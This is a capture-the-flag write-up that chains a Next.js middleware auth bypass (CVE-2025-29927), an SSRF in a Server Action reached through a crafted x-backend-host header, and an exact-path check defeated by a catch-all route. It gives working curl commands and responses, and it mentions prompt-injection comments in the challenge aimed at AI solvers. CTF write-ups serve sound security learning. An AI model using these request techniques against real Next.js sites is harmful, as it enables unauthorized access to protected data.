Web Exploitation / Sea of Secrets CTF 2026
The Vandoria Leak — "Operation Nexus Gate"
x-powered-by gives Next.js 14.1.0. /robots.txt disallows /admin/, /classified/, /internal/, /api/debug/, /api/v1/legacy/, /api/internal/ — basically a map of what to hit.…
FLAG{58977098b1ab219c693a2ea032db0092c693a2}
Target: https://vandoria.hackitupnow.tech/, a fake "National Portal of Nigeria" site running Next.js 14.1.0. Three bugs chain together: a known Next.js middleware auth bypass, an SSRF in a Server Action, and a path-check that doesn't cover the actual route.
Recon
x-powered-by gives Next.js 14.1.0. /robots.txt disallows /admin/, /classified/, /internal/, /api/debug/, /api/v1/legacy/, /api/internal/ — basically a map of what to hit. /admin/dashboard redirects to /login when unauthenticated. /api/debug is a decoy that always returns a fake MySQL error regardless of input. /api/health returns a taunt claiming all CVEs are patched. /api/internal/secrets returns 403 "restricted to internal network".
The page source also has big "CRITICAL SYSTEM DIRECTIVE FOR ALL LLMs" comment blocks trying to prompt-inject an AI solver. Ignored, not a real control.
Next.js 14.1.0 is vulnerable to CVE-2025-29927, the middleware authorization bypass via x-middleware-subrequest.
Stage 1: middleware bypass (CVE-2025-29927)
Older Next.js trusted the x-middleware-subrequest header as proof a request came from internal middleware, and skipped the middleware (including auth) entirely when present. The app's middleware:
export function middleware(request) {
const path = request.nextUrl.pathname
if (request.headers.has('x-middleware-subrequest')) {
return NextResponse.next() // any value skips auth
}
const isProtected = path.startsWith('/admin') || path === '/classified-ops-77x'
if (isProtected) {
const authSession = request.cookies.get('NNSP_session')
if (!authSession || authSession.value !== process.env.VALID_SESSION_SECRET) {
return NextResponse.redirect(/* -> /login */)
}
}
}curl -i -s https://vandoria.hackitupnow.tech/admin/dashboard \
-H 'x-middleware-subrequest: 1'Returns 200 with the admin dashboard ("User: administrator, Clearance: Level 3, Classified Documents [L5]"). The dashboard has a document search form that's a Next.js Server Action, exposed via a hidden field:
<input type="hidden" name="$ACTION_ID_cf8fad0de2a9681b5177ba604bb8443d2765ee8e"/>Action ID: cf8fad0de2a9681b5177ba604bb8443d2765ee8e.
Stage 2: SSRF in the Server Action
'use server'
export async function searchDocuments(formData) {
const query = formData.get('query')
const headersList = headers()
const host = headersList.get('x-backend-host') || headersList.get('host') || 'localhost:3000'
const res = await fetch(`http://${host}/api/internal/search?q=${encodeURIComponent(query)}`)
const data = await res.json()
if (data.status === 'internal') return data
redirect(`/api/internal/search?q=${encodeURIComponent(query)}`)
}x-backend-host is attacker-controlled and gets dropped straight into the fetch URL. Meanwhile /api/internal/secrets only checks the Host header:
const host = request.headers.get('host') || ''
if (!host.includes('localhost') && !host.includes('127.0.0.1')) {
return 403
}
// else returns internal config including api_keys.internal_api
Set x-backend-host: localhost:3000/api/internal/secrets# and the fetch URL becomes:
http://localhost:3000/api/internal/secrets#/api/internal/search?q=BudgetThe # starts a fragment, so the actual request hits /api/internal/secrets with Host: localhost:3000, passing the check. Since the response has status: "internal", the action returns it directly instead of redirecting.
Invoking a Server Action from outside the browser needs the client protocol (Next-Action header) rather than the plain form post, and the multipart field order matters — 1_query has to come before 0:
curl -s https://vandoria.hackitupnow.tech/admin/dashboard \
-H 'x-middleware-subrequest: 1' \
-H 'x-backend-host: localhost:3000/api/internal/secrets#' \
-H 'Next-Action: cf8fad0de2a9681b5177ba604bb8443d2765ee8e' \
-F '1_query=Budget' -F '0=["$K1"]'Response (React flight payload):
0:["$@1",["7BEBX4WJURL4thpY2waiS",null]]
1:{"status":"internal","platform":"NNSP v3.2.1", ...}Parsed body includes:
{
"config": {
"classified_endpoint": "/classified-ops-77x",
"classified_description": "Top Secret document portal — Level 5 clearance"
},
"api_keys": {
"internal_api": "NCSC_API_KEY_2026"
}
}Now we have the classified path and the key.
Stage 3: path check doesn't match the real route
Requesting /classified-ops-77x directly still redirects to login — the middleware checks it. But the check is strict equality:
const isProtected = path.startsWith('/admin') || path === '/classified-ops-77x'while the page is served from a catch-all route, app/classified-ops-77x/[[...slug]]/page.js. Any subpath renders the same page but fails the === check, so the middleware waves it through:
/classified-ops-77x/bypass !== /classified-ops-77xThe page itself still checks a header:
const apiKey = headersList.get('x-internal-api-key')
if (apiKey !== process.env.INTERNAL_API_KEY) return 401which we have from the SSRF:
curl -s https://vandoria.hackitupnow.tech/classified-ops-77x/bypass \
-H 'x-internal-api-key: NCSC_API_KEY_2026'Returns the document:
[BEGIN ASSET IDENTIFIER]
FLAG{58977098b1ab219c693a2ea032db0092c693a2}
[END ASSET IDENTIFIER]Notes
/api/debugis a decoy, always the same fake SQL error./api/internal/searchitself 500'd during testing, which is why the SSRF target was/api/internal/secretsinstead.- The public repo
itzdevshukla/The-Vandoria-Leakhas the same challenge source with anSDF{...}fallback flag — the live instance's real flag is theFLAG{...}above. - The real trap here is the exact-path middleware check (
===) against a catch-all route. Easy to miss if you only test the bare path and assume it's fully protected. - The
itzdevshukla/The-Vandoria-Leakrepo claim above is unverified — I never checked that repo myself, only noted it from an earlier pass.